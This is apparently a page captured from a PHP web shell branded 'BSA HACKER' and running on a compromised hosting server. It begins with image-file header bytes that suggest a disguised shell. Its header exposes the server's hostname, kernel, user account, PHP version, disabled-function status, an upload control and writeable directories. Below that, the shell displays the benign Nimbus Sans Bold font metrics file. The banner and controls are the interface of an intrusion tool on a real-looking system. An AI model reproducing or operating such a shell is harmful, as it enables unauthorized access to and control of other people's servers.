ÿØÿàJFIFHHÿá .
BSA HACKER
Logo of a company Server : Apache
System : Linux nusantara.hosteko.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : koperas1 ( 1254)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/fonts/urw-base35/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/fonts/urw-base35/NimbusSans-Bold.afm
StartFontMetrics 3.0
Comment Copyright (URW)++,Copyright 2014 by (URW)++ Design & Development
Comment Creation Date: 5/17/2017
FontName NimbusSans-Bold
FullName Nimbus Sans Bold
FamilyName Nimbus Sans
Weight Bold
ItalicAngle 0.0
IsFixedPitch false
UnderlinePosition -155
UnderlineThickness 69
Version 1.00
Notice (URW)++,Copyright 2014 by (URW)++ Design & Development
EncodingScheme AdobeStandardEncoding
FontBBox -188 -307 1069 1070
CapHeight 729
XHeight 540
Descender 0
Ascender 0
StartCharMetrics 855
C 32 ; WX 278 ; N space ; B 214 0 214 0 ;
C 33 ; WX 333 ; N exclam ; B 112 0 262 726 ;
C 34 ; WX 474 ; N quotedbl ; B 50 470 424 729 ;
C 35 ; WX 556 ; N numbersign ; B 3 -32 553 697 ;
C 36 ; WX 556 ; N dollar ; B 22 -126 527 763 ;
C 37 ; WX 889 ; N percent ; B 22 -20 863 709 ;
C 38 ; WX 722 ; N ampersand ; B 55 -23 694 723 ;
C 39 ; WX 278 ; N quoteright ; B 66 469 205 729 ;
C 40 ; WX 333 ; N parenleft ; B 40 -200 303 729 ;
C 41 ; WX 333 ; N parenright ; B 22 -200 285 729 ;
C 42 ; WX 389 ; N asterisk ; B 23 407 356 729 ;
C 43 ; WX 584 ; N plus ; B 50 -10 533 473 ;
C 44 ; WX 278 ; N comma ; B 64 -174 218 146 ;
C 45 ; WX 333 ; N hyphen ; B 26 207 298 342 ;
C 46 ; WX 278 ; N period ; B 64 0 214 146 ;
C 47 ; WX 278 ; N slash ; B 2 -14 275 714 ;
C 48 ; WX 556 ; N zero ; B 29 -23 517 724 ;
C 49 ; WX 556 ; N one ; B 68 0 378 709 ;
C 50 ; WX 556 ; N two ; B 30 0 515 724 ;
C 51 ; WX 556 ; N three ; B 29 -23 516 724 ;
C 52 ; WX 556 ; N four ; B 24 0 522 709 ;
C 53 ; WX 556 ; N five ; B 27 -23 517 709 ;
C 54 ; WX 556 ; N six ; B 32 -23 519 724 ;
C 55 ; WX 556 ; N seven ; B 29 0 528 709 ;
C 56 ; WX 556 ; N eight ; B 22 -23 525 724 ;
C 57 ; WX 556 ; N nine ; B 28 -24 516 724 ;
C 58 ; WX 333 ; N colon ; B 113 0 263 520 ;
C 59 ; WX 333 ; N semicolon ; B 113 -174 267 520 ;
C 60 ; WX 584 ; N less ; B 40 -10 529 474 ;
C 61 ; WX 584 ; N equal ; B 50 52 534 411 ;
C 62 ; WX 584 ; N greater ; B 40 -10 529 474 ;
C 63 ; WX 611 ; N question ; B 64 0 556 744 ;
C 64 ; WX 975 ; N at ; B 27 -137 947 745 ;
C 65 ; WX 722 ; N A ; B 26 0 703 729 ;
C 66 ; WX 722 ; N B ; B 82 0 666 729 ;
C 67 ; WX 722 ; N C ; B 44 -23 685 741 ;
C 68 ; WX 722 ; N D ; B 77 0 681 729 ;
C 69 ; WX 667 ; N E ; B 79 0 624 729 ;
C 70 ; WX 611 ; N F ; B 74 0 586 729 ;
C 71 ; WX 778 ; N G ; B 42 -23 711 741 ;
C 72 ; WX 722 ; N H ; B 68 0 657 729 ;
C 73 ; WX 278 ; N I ; B 63 0 213 729 ;
C 74 ; WX 556 ; N J ; B 24 -23 486 729 ;
C 75 ; WX 722 ; N K ; B 74 0 717 729 ;
C 76 ; WX 611 ; N L ; B 80 0 579 729 ;
C 77 ; WX 833 ; N M ; B 66 0 776 729 ;
C 78 ; WX 722 ; N N ; B 68 0 661 729 ;
C 79 ; WX 778 ; N O ; B 40 -23 742 741 ;
C 80 ; WX 667 ; N P ; B 76 0 633 729 ;
C 81 ; WX 778 ; N Q ; B 43 -54 745 741 ;
C 82 ; WX 722 ; N R ; B 80 0 677 729 ;
C 83 ; WX 667 ; N S ; B 32 -23 633 741 ;
C 84 ; WX 611 ; N T ; B 14 0 598 729 ;
C 85 ; WX 722 ; N U ; B 76 -23 654 729 ;
C 86 ; WX 667 ; N V ; B 24 0 647 729 ;
C 87 ; WX 944 ; N W ; B 13 0 932 729 ;
C 88 ; WX 667 ; N X ; B 22 0 653 729 ;
C 89 ; WX 667 ; N Y ; B 27 0 650 729 ;
C 90 ; WX 611 ; N Z ; B 30 0 578 729 ;
C 91 ; WX 333 ; N bracketleft ; B 66 -200 308 729 ;
C 92 ; WX 278 ; N backslash ; B -12 -14 289 714 ;
C 93 ; WX 333 ; N bracketright ; B 18 -200 260 729 ;
C 94 ; WX 584 ; N asciicircum ; B 61 270 522 695 ;
C 95 ; WX 556 ; N underscore ; B -22 -189 578 -120 ;
C 96 ; WX 278 ; N quoteleft ; B 67 469 206 729 ;
C 97 ; WX 556 ; N a ; B 28 -23 524 549 ;
C 98 ; WX 611 ; N b ; B 59 -23 575 729 ;
C 99 ; WX 556 ; N c ; B 34 -23 522 549 ;
C 100 ; WX 611 ; N d ; B 29 -23 545 729 ;
C 101 ; WX 556 ; N e ; B 22 -23 525 549 ;
C 102 ; WX 333 ; N f ; B 14 0 313 729 ;
C 103 ; WX 611 ; N g ; B 41 -218 533 549 ;
C 104 ; WX 611 ; N h ; B 67 0 541 729 ;
C 105 ; WX 278 ; N i ; B 67 0 207 729 ;
C 106 ; WX 278 ; N j ; B 4 -218 210 729 ;
C 107 ; WX 556 ; N k ; B 59 0 548 729 ;
C 108 ; WX 278 ; N l ; B 67 0 207 729 ;
C 109 ; WX 889 ; N m ; B 60 0 824 549 ;
C 110 ; WX 611 ; N n ; B 63 0 546 549 ;
C 111 ; WX 611 ; N o ; B 35 -23 569 549 ;
C 112 ; WX 611 ; N p ; B 58 -218 574 549 ;
C 113 ; WX 611 ; N q ; B 28 -218 544 549 ;
C 114 ; WX 389 ; N r ; B 63 0 370 549 ;
C 115 ; WX 556 ; N s ; B 29 -23 520 549 ;
C 116 ; WX 333 ; N t ; B 14 -23 301 674 ;
C 117 ; WX 611 ; N u ; B 58 -23 541 540 ;
C 118 ; WX 556 ; N v ; B 14 0 536 540 ;
C 119 ; WX 778 ; N w ; B 5 0 766 540 ;
C 120 ; WX 556 ; N x ; B 16 0 535 540 ;
C 121 ; WX 556 ; N y ; B 9 -219 538 540 ;
C 122 ; WX 500 ; N z ; B 21 0 468 540 ;
C 123 ; WX 389 ; N braceleft ; B 37 -201 317 730 ;
C 124 ; WX 280 ; N bar ; B 100 -200 180 729 ;
C 125 ; WX 389 ; N braceright ; B 72 -201 352 730 ;
C 126 ; WX 584 ; N asciitilde ; B 60 265 519 437 ;
C 161 ; WX 333 ; N exclamdown ; B 66 -186 216 540 ;
C 162 ; WX 556 ; N cent ; B 37 -124 522 634 ;
C 163 ; WX 556 ; N sterling ; B 31 -23 537 715 ;
C 164 ; WX 278 ; N fraction ; B -118 -20 392 715 ;
C 165 ; WX 556 ; N yen ; B 5 0 552 704 ;
C 166 ; WX 556 ; N florin ; B 21 -220 535 744 ;
C 167 ; WX 556 ; N section ; B 33 -201 518 723 ;
C 168 ; WX 556 ; N currency ; B 26 100 530 604 ;
C 169 ; WX 238 ; N quotesingle ; B 50 470 188 729 ;
C 170 ; WX 500 ; N quotedblleft ; B 71 469 437 729 ;
C 171 ; WX 556 ; N guillemotleft ; B 88 72 468 481 ;
C 172 ; WX 333 ; N guilsinglleft ; B 83 72 250 481 ;
C 173 ; WX 333 ; N guilsinglright ; B 80 72 247 481 ;
C 174 ; WX 611 ; N fi ; B 14 0 540 729 ;
C 175 ; WX 611 ; N fl ; B 14 0 540 729 ;
C 177 ; WX 556 ; N endash ; B -9 207 557 311 ;
C 178 ; WX 556 ; N dagger ; B 31 -194 523 709 ;
C 179 ; WX 556 ; N daggerdbl ; B 28 -194 520 709 ;
C 180 ; WX 278 ; N periodcentered ; B 64 216 188 339 ;
C 182 ; WX 556 ; N paragraph ; B 20 -191 529 729 ;
C 183 ; WX 350 ; N bullet ; B 50 175 300 425 ;
C 184 ; WX 278 ; N quotesinglbase ; B 66 -135 205 125 ;
C 185 ; WX 500 ; N quotedblbase ; B 72 -135 436 125 ;
C 186 ; WX 500 ; N quotedblright ; B 73 469 444 729 ;
C 187 ; WX 556 ; N guillemotright ; B 88 72 462 481 ;
C 188 ; WX 1000 ; N ellipsis ; B 92 0 908 146 ;
C 189 ; WX 1000 ; N perthousand ; B 11 -22 990 739 ;
C 191 ; WX 611 ; N questiondown ; B 51 -204 544 540 ;
C 193 ; WX 333 ; N grave ; B 17 607 213 757 ;
C 194 ; WX 333 ; N acute ; B 121 607 317 757 ;
C 195 ; WX 333 ; N circumflex ; B 8 607 326 757 ;
C 196 ; WX 333 ; N tilde ; B -9 621 345 749 ;
C 197 ; WX 333 ; N macron ; B 16 640 315 719 ;
C 198 ; WX 333 ; N breve ; B 35 605 299 748 ;
C 199 ; WX 333 ; N dotaccent ; B 112 621 222 743 ;
C 200 ; WX 333 ; N dieresis ; B 18 621 314 743 ;
C 202 ; WX 333 ; N ring ; B 77 590 257 770 ;
C 203 ; WX 333 ; N cedilla ; B 27 -220 294 0 ;
C 205 ; WX 333 ; N hungarumlaut ; B -44 610 340 757 ;
C 206 ; WX 333 ; N ogonek ; B 45 -234 268 0 ;
C 207 ; WX 333 ; N caron ; B 9 607 327 757 ;
C 208 ; WX 1000 ; N emdash ; B -7 207 1003 311 ;
C 225 ; WX 1000 ; N AE ; B 1 0 966 729 ;
C 227 ; WX 370 ; N ordfeminine ; B 30 262 329 729 ;
C 232 ; WX 611 ; N Lslash ; B 0 0 597 729 ;
C 233 ; WX 778 ; N Oslash ; B 31 -39 755 749 ;
C 234 ; WX 1000 ; N OE ; B 28 -23 970 741 ;
C 235 ; WX 365 ; N ordmasculine ; B 23 262 343 729 ;
C 241 ; WX 889 ; N ae ; B 27 -24 857 549 ;
C 245 ; WX 278 ; N dotlessi ; B 67 0 207 540 ;
C 248 ; WX 278 ; N lslash ; B 0 0 252 729 ;
C 249 ; WX 611 ; N oslash ; B 11 -38 598 557 ;
C 250 ; WX 944 ; N oe ; B 23 -23 920 549 ;
C 251 ; WX 611 ; N germandbls ; B 67 -17 575 729 ;
C -1 ; WX 278 ; N .notdef ; B 214 0 214 0 ;
C -1 ; WX 1000 ; N AEacute ; B 1 0 966 936 ;
C -1 ; WX 722 ; N Aacute ; B 26 0 703 936 ;
C -1 ; WX 722 ; N Abreve ; B 26 0 703 927 ;
C -1 ; WX 722 ; N Acircumflex ; B 26 0 703 936 ;
C -1 ; WX 722 ; N Adieresis ; B 26 0 703 922 ;
C -1 ; WX 722 ; N Agrave ; B 26 0 703 936 ;
C -1 ; WX 722 ; N Alpha ; B 26 0 703 729 ;
C -1 ; WX 722 ; N Alphatonos ; B 26 0 703 729 ;
C -1 ; WX 722 ; N Amacron ; B 26 0 703 898 ;
C -1 ; WX 722 ; N Aogonek ; B 26 -233 723 729 ;
C -1 ; WX 722 ; N Aring ; B 26 0 703 949 ;
C -1 ; WX 722 ; N Aringacute ; B 26 0 703 1070 ;
C -1 ; WX 722 ; N Atilde ; B 26 0 703 928 ;
C -1 ; WX 722 ; N Beta ; B 82 0 666 729 ;
C -1 ; WX 722 ; N Cacute ; B 44 -23 685 936 ;
C -1 ; WX 722 ; N Ccaron ; B 44 -23 685 936 ;
C -1 ; WX 722 ; N Ccedilla ; B 44 -220 685 741 ;
C -1 ; WX 722 ; N Ccircumflex ; B 44 -23 685 936 ;
C -1 ; WX 722 ; N Cdotaccent ; B 44 -23 685 922 ;
C -1 ; WX 667 ; N Chi ; B 22 0 653 729 ;
C -1 ; WX 722 ; N Dcaron ; B 77 0 681 936 ;
C -1 ; WX 722 ; N Dcroat ; B 0 0 681 729 ;
C -1 ; WX 612 ; N Delta ; B 4 0 608 630 ;
C -1 ; WX 667 ; N Eacute ; B 79 0 624 936 ;
C -1 ; WX 667 ; N Ebreve ; B 79 0 624 927 ;
C -1 ; WX 667 ; N Ecaron ; B 79 0 624 936 ;
C -1 ; WX 667 ; N Ecircumflex ; B 79 0 624 936 ;
C -1 ; WX 667 ; N Edieresis ; B 79 0 624 922 ;
C -1 ; WX 667 ; N Edotaccent ; B 79 0 624 922 ;
C -1 ; WX 667 ; N Egrave ; B 79 0 624 936 ;
C -1 ; WX 667 ; N Emacron ; B 79 0 624 898 ;
C -1 ; WX 723 ; N Eng ; B 66 -294 655 741 ;
C -1 ; WX 667 ; N Eogonek ; B 79 -233 648 729 ;
C -1 ; WX 667 ; N Epsilon ; B 79 0 624 729 ;
C -1 ; WX 853 ; N Epsilontonos ; B 52 0 759 729 ;
C -1 ; WX 722 ; N Eta ; B 68 0 657 729 ;
C -1 ; WX 906 ; N Etatonos ; B 45 0 796 729 ;
C -1 ; WX 722 ; N Eth ; B 0 0 681 729 ;
C -1 ; WX 556 ; N Euro ; B 6 -23 546 724 ;
C -1 ; WX 601 ; N Gamma ; B 74 0 586 729 ;
C -1 ; WX 778 ; N Gbreve ; B 42 -23 711 927 ;
C -1 ; WX 778 ; N Gcircumflex ; B 42 -23 711 936 ;
C -1 ; WX 778 ; N Gcommaaccent ; B 42 -307 711 741 ;
C -1 ; WX 778 ; N Gdotaccent ; B 42 -23 711 922 ;
C -1 ; WX 604 ; N H18533 ; B 43 0 562 519 ;
C -1 ; WX 354 ; N H18543 ; B 49 131 305 387 ;
C -1 ; WX 354 ; N H18551 ; B 49 131 305 388 ;
C -1 ; WX 722 ; N Hbar ; B 1 0 724 729 ;
C -1 ; WX 722 ; N Hcircumflex ; B 68 0 657 936 ;
C -1 ; WX 785 ; N IJ ; B 64 -23 725 729 ;
C -1 ; WX 278 ; N Iacute ; B 63 0 290 936 ;
C -1 ; WX 278 ; N Ibreve ; B 7 0 271 927 ;
C -1 ; WX 278 ; N Icircumflex ; B -19 0 299 936 ;
C -1 ; WX 278 ; N Idieresis ; B -9 0 287 922 ;
C -1 ; WX 278 ; N Idotaccent ; B 63 0 213 922 ;
C -1 ; WX 719 ; N Ifraktur ; B 71 -71 651 698 ;
C -1 ; WX 278 ; N Igrave ; B -10 0 213 936 ;
C -1 ; WX 278 ; N Imacron ; B 2 0 274 898 ;
C -1 ; WX 278 ; N Iogonek ; B 34 -233 237 729 ;
C -1 ; WX 278 ; N Iota ; B 63 0 213 729 ;
C -1 ; WX 278 ; N Iotadieresis ; B -9 0 287 922 ;
C -1 ; WX 474 ; N Iotatonos ; B 49 0 361 729 ;
C -1 ; WX 278 ; N Itilde ; B -37 0 317 928 ;
C -1 ; WX 556 ; N Jcircumflex ; B 24 -23 570 936 ;
C -1 ; WX 722 ; N Kappa ; B 74 0 717 729 ;
C -1 ; WX 722 ; N Kcommaaccent ; B 74 -307 717 729 ;
C -1 ; WX 611 ; N Lacute ; B 80 0 579 936 ;
C -1 ; WX 667 ; N Lambda ; B -5 0 672 729 ;
C -1 ; WX 611 ; N Lcaron ; B 80 0 579 729 ;
C -1 ; WX 611 ; N Lcommaaccent ; B 80 -307 579 729 ;
C -1 ; WX 611 ; N Ldot ; B 80 0 579 729 ;
C -1 ; WX 833 ; N Mu ; B 66 0 776 729 ;
C -1 ; WX 722 ; N Nacute ; B 68 0 661 936 ;
C -1 ; WX 722 ; N Ncaron ; B 68 0 661 936 ;
C -1 ; WX 722 ; N Ncommaaccent ; B 68 -307 661 729 ;
C -1 ; WX 722 ; N Ntilde ; B 68 0 661 928 ;
C -1 ; WX 722 ; N Nu ; B 68 0 661 729 ;
C -1 ; WX 778 ; N Oacute ; B 40 -23 742 936 ;
C -1 ; WX 778 ; N Obreve ; B 40 -23 742 927 ;
C -1 ; WX 778 ; N Ocircumflex ; B 40 -23 742 936 ;
C -1 ; WX 778 ; N Odieresis ; B 40 -23 742 922 ;
C -1 ; WX 778 ; N Ograve ; B 40 -23 742 936 ;
C -1 ; WX 778 ; N Ohungarumlaut ; B 40 -23 742 936 ;
C -1 ; WX 778 ; N Omacron ; B 40 -23 742 898 ;
C -1 ; WX 838 ; N Omegatonos ; B 9 0 804 741 ;
C -1 ; WX 778 ; N Omicron ; B 40 -23 742 741 ;
C -1 ; WX 825 ; N Omicrontonos ; B 3 -23 786 741 ;
C -1 ; WX 778 ; N Oslashacute ; B 31 -39 755 936 ;
C -1 ; WX 778 ; N Otilde ; B 40 -23 742 928 ;
C -1 ; WX 821 ; N Phi ; B 60 -14 762 743 ;
C -1 ; WX 722 ; N Pi ; B 66 0 655 729 ;
C -1 ; WX 809 ; N Psi ; B 54 0 758 729 ;
C -1 ; WX 722 ; N Racute ; B 80 0 677 936 ;
C -1 ; WX 722 ; N Rcaron ; B 80 0 677 936 ;
C -1 ; WX 722 ; N Rcommaaccent ; B 80 -307 677 729 ;
C -1 ; WX 778 ; N Rfraktur ; B 72 -6 693 604 ;
C -1 ; WX 667 ; N Rho ; B 76 0 633 729 ;
C -1 ; WX 1000 ; N SF010000 ; B 467 -250 1000 283 ;
C -1 ; WX 1000 ; N SF020000 ; B 467 217 1000 750 ;
C -1 ; WX 1000 ; N SF030000 ; B 0 -250 533 283 ;
C -1 ; WX 1000 ; N SF040000 ; B 0 217 533 750 ;
C -1 ; WX 1000 ; N SF050000 ; B 0 -250 1000 750 ;
C -1 ; WX 1000 ; N SF060000 ; B 0 -250 1000 283 ;
C -1 ; WX 1000 ; N SF070000 ; B 0 217 1000 750 ;
C -1 ; WX 1000 ; N SF080000 ; B 467 -250 1000 750 ;
C -1 ; WX 1000 ; N SF090000 ; B 0 -250 533 750 ;
C -1 ; WX 1000 ; N SF100000 ; B 0 217 1000 283 ;
C -1 ; WX 1000 ; N SF110000 ; B 467 -250 533 750 ;
C -1 ; WX 1000 ; N SF190000 ; B 0 -250 533 750 ;
C -1 ; WX 1000 ; N SF200000 ; B 0 -250 599 750 ;
C -1 ; WX 1000 ; N SF210000 ; B 0 -250 599 283 ;
C -1 ; WX 1000 ; N SF220000 ; B 0 -250 533 349 ;
C -1 ; WX 1000 ; N SF230000 ; B 0 -250 599 750 ;
C -1 ; WX 1000 ; N SF240000 ; B 401 -250 599 750 ;
C -1 ; WX 1000 ; N SF250000 ; B 0 -250 599 349 ;
C -1 ; WX 1000 ; N SF260000 ; B 0 151 599 750 ;
C -1 ; WX 1000 ; N SF270000 ; B 0 217 599 750 ;
C -1 ; WX 1000 ; N SF280000 ; B 0 151 533 750 ;
C -1 ; WX 1000 ; N SF360000 ; B 467 -250 1000 750 ;
C -1 ; WX 1000 ; N SF370000 ; B 401 -250 1000 750 ;
C -1 ; WX 1000 ; N SF380000 ; B 401 151 1000 750 ;
C -1 ; WX 1000 ; N SF390000 ; B 401 -250 1000 349 ;
C -1 ; WX 1000 ; N SF400000 ; B 0 151 1000 750 ;
C -1 ; WX 1000 ; N SF410000 ; B 0 -250 1000 349 ;
C -1 ; WX 1000 ; N SF420000 ; B 401 -250 1000 750 ;
C -1 ; WX 1000 ; N SF430000 ; B 0 151 1000 349 ;
C -1 ; WX 1000 ; N SF440000 ; B 0 -250 1000 750 ;
C -1 ; WX 1000 ; N SF450000 ; B 0 151 1000 750 ;
C -1 ; WX 1000 ; N SF460000 ; B 0 217 1000 750 ;
C -1 ; WX 1000 ; N SF470000 ; B 0 -250 1000 349 ;
C -1 ; WX 1000 ; N SF480000 ; B 0 -250 1000 283 ;
C -1 ; WX 1000 ; N SF490000 ; B 401 217 1000 750 ;
C -1 ; WX 1000 ; N SF500000 ; B 467 151 1000 750 ;
C -1 ; WX 1000 ; N SF510000 ; B 467 -250 1000 349 ;
C -1 ; WX 1000 ; N SF520000 ; B 401 -250 1000 283 ;
C -1 ; WX 1000 ; N SF530000 ; B 0 -250 1000 750 ;
C -1 ; WX 1000 ; N SF540000 ; B 0 -250 1000 750 ;
C -1 ; WX 667 ; N Sacute ; B 32 -23 633 936 ;
C -1 ; WX 667 ; N Scaron ; B 32 -23 633 936 ;
C -1 ; WX 667 ; N Scedilla ; B 32 -220 633 741 ;
C -1 ; WX 667 ; N Scircumflex ; B 32 -23 633 936 ;
C -1 ; WX 667 ; N Scommaaccent ; B 32 -307 633 741 ;
C -1 ; WX 600 ; N Sigma ; B 26 0 579 729 ;
C -1 ; WX 611 ; N Tau ; B 14 0 598 729 ;
C -1 ; WX 611 ; N Tbar ; B 14 0 598 729 ;
C -1 ; WX 611 ; N Tcaron ; B 14 0 598 936 ;
C -1 ; WX 611 ; N Tcommaaccent ; B 14 -220 598 729 ;
C -1 ; WX 778 ; N Theta ; B 40 -23 742 741 ;
C -1 ; WX 667 ; N Thorn ; B 76 0 633 729 ;
C -1 ; WX 722 ; N Uacute ; B 76 -23 654 936 ;
C -1 ; WX 722 ; N Ubreve ; B 76 -23 654 927 ;
C -1 ; WX 722 ; N Ucircumflex ; B 76 -23 654 936 ;
C -1 ; WX 722 ; N Udieresis ; B 76 -23 654 922 ;
C -1 ; WX 722 ; N Ugrave ; B 76 -23 654 936 ;
C -1 ; WX 722 ; N Uhungarumlaut ; B 76 -23 654 936 ;
C -1 ; WX 722 ; N Umacron ; B 76 -23 654 898 ;
C -1 ; WX 722 ; N Uogonek ; B 76 -234 654 729 ;
C -1 ; WX 667 ; N Upsilon ; B 27 0 650 729 ;
C -1 ; WX 667 ; N Upsilondieresis ; B 27 0 650 922 ;
C -1 ; WX 927 ; N Upsilontonos ; B 78 0 833 729 ;
C -1 ; WX 722 ; N Uring ; B 76 -23 654 949 ;
C -1 ; WX 722 ; N Utilde ; B 76 -23 654 928 ;
C -1 ; WX 944 ; N Wacute ; B 13 0 932 936 ;
C -1 ; WX 944 ; N Wcircumflex ; B 13 0 932 936 ;
C -1 ; WX 944 ; N Wdieresis ; B 13 0 932 922 ;
C -1 ; WX 944 ; N Wgrave ; B 13 0 932 936 ;
C -1 ; WX 644 ; N Xi ; B 27 0 616 729 ;
C -1 ; WX 667 ; N Yacute ; B 27 0 650 936 ;
C -1 ; WX 667 ; N Ycircumflex ; B 27 0 650 936 ;
C -1 ; WX 667 ; N Ydieresis ; B 27 0 650 922 ;
C -1 ; WX 667 ; N Ygrave ; B 27 0 650 936 ;
C -1 ; WX 611 ; N Zacute ; B 30 0 578 936 ;
C -1 ; WX 611 ; N Zcaron ; B 30 0 578 936 ;
C -1 ; WX 611 ; N Zdotaccent ; B 30 0 578 922 ;
C -1 ; WX 611 ; N Zeta ; B 30 0 578 729 ;
C -1 ; WX 556 ; N aacute ; B 28 -23 524 757 ;
C -1 ; WX 556 ; N abreve ; B 28 -23 524 748 ;
C -1 ; WX 556 ; N acircumflex ; B 28 -23 524 757 ;
C -1 ; WX 556 ; N adieresis ; B 28 -23 524 743 ;
C -1 ; WX 889 ; N aeacute ; B 27 -24 857 757 ;
C -1 ; WX 1000 ; N afii00208 ; B -7 207 1003 311 ;
C -1 ; WX 722 ; N afii10017 ; B 23 0 700 729 ;
C -1 ; WX 719 ; N afii10018 ; B 74 0 669 729 ;
C -1 ; WX 722 ; N afii10019 ; B 79 0 663 729 ;
C -1 ; WX 567 ; N afii10020 ; B 119 0 518 729 ;
C -1 ; WX 712 ; N afii10021 ; B -13 -136 710 729 ;
C -1 ; WX 667 ; N afii10022 ; B 73 0 618 729 ;
C -1 ; WX 669 ; N afii10023 ; B 74 0 619 922 ;
C -1 ; WX 904 ; N afii10024 ; B -12 0 907 729 ;
C -1 ; WX 626 ; N afii10025 ; B 59 -23 571 741 ;
C -1 ; WX 719 ; N afii10026 ; B 65 0 654 729 ;
C -1 ; WX 719 ; N afii10027 ; B 65 0 654 933 ;
C -1 ; WX 610 ; N afii10028 ; B 58 0 590 729 ;
C -1 ; WX 702 ; N afii10029 ; B 5 -1 625 729 ;
C -1 ; WX 833 ; N afii10030 ; B 62 0 772 729 ;
C -1 ; WX 722 ; N afii10031 ; B 67 0 656 729 ;
C -1 ; WX 778 ; N afii10032 ; B 38 -23 740 741 ;
C -1 ; WX 719 ; N afii10033 ; B 72 0 648 729 ;
C -1 ; WX 667 ; N afii10034 ; B 69 0 626 729 ;
C -1 ; WX 722 ; N afii10035 ; B 42 -23 681 741 ;
C -1 ; WX 611 ; N afii10036 ; B 13 0 597 729 ;
C -1 ; WX 622 ; N afii10037 ; B 6 0 625 729 ;
C -1 ; WX 854 ; N afii10038 ; B 35 0 812 729 ;
C -1 ; WX 667 ; N afii10039 ; B 22 0 644 729 ;
C -1 ; WX 730 ; N afii10040 ; B 68 -159 700 729 ;
C -1 ; WX 703 ; N afii10041 ; B 33 0 643 729 ;
C -1 ; WX 1005 ; N afii10042 ; B 49 0 955 729 ;
C -1 ; WX 1019 ; N afii10043 ; B 52 -159 1008 729 ;
C -1 ; WX 870 ; N afii10044 ; B 16 0 811 729 ;
C -1 ; WX 979 ; N afii10045 ; B 107 0 872 729 ;
C -1 ; WX 719 ; N afii10046 ; B 100 0 649 729 ;
C -1 ; WX 711 ; N afii10047 ; B 19 -23 681 741 ;
C -1 ; WX 1031 ; N afii10048 ; B 53 -23 989 741 ;
C -1 ; WX 719 ; N afii10049 ; B 50 -1 643 729 ;
C -1 ; WX 487 ; N afii10050 ; B 79 0 567 851 ;
C -1 ; WX 885 ; N afii10051 ; B 50 -4 790 729 ;
C -1 ; WX 567 ; N afii10052 ; B 119 0 518 917 ;
C -1 ; WX 711 ; N afii10053 ; B 30 -23 692 741 ;
C -1 ; WX 667 ; N afii10054 ; B 32 -23 633 741 ;
C -1 ; WX 278 ; N afii10055 ; B 64 0 214 729 ;
C -1 ; WX 276 ; N afii10056 ; B -10 0 286 922 ;
C -1 ; WX 556 ; N afii10057 ; B 27 -23 489 729 ;
C -1 ; WX 1094 ; N afii10058 ; B 16 -1 1035 729 ;
C -1 ; WX 1063 ; N afii10059 ; B 52 0 1040 729 ;
C -1 ; WX 875 ; N afii10060 ; B 63 0 795 729 ;
C -1 ; WX 610 ; N afii10061 ; B 33 0 562 917 ;
C -1 ; WX 622 ; N afii10062 ; B 6 0 625 933 ;
C -1 ; WX 556 ; N afii10065 ; B 27 -23 524 549 ;
C -1 ; WX 618 ; N afii10066 ; B 42 -23 576 847 ;
C -1 ; WX 615 ; N afii10067 ; B 87 0 556 540 ;
C -1 ; WX 417 ; N afii10068 ; B 73 0 403 540 ;
C -1 ; WX 635 ; N afii10069 ; B 7 -112 616 540 ;
C -1 ; WX 556 ; N afii10070 ; B 29 -23 531 549 ;
C -1 ; WX 556 ; N afii10071 ; B 29 -23 531 743 ;
C -1 ; WX 709 ; N afii10072 ; B -8 0 709 540 ;
C -1 ; WX 497 ; N afii10073 ; B 34 -23 455 549 ;
C -1 ; WX 615 ; N afii10074 ; B 70 0 545 540 ;
C -1 ; WX 615 ; N afii10075 ; B 70 0 545 746 ;
C -1 ; WX 500 ; N afii10076 ; B 35 0 473 540 ;
C -1 ; WX 635 ; N afii10077 ; B 37 0 551 540 ;
C -1 ; WX 740 ; N afii10078 ; B 81 0 659 540 ;
C -1 ; WX 604 ; N afii10079 ; B 64 0 539 540 ;
C -1 ; WX 611 ; N afii10080 ; B 39 -23 573 549 ;
C -1 ; WX 604 ; N afii10081 ; B 73 0 531 540 ;
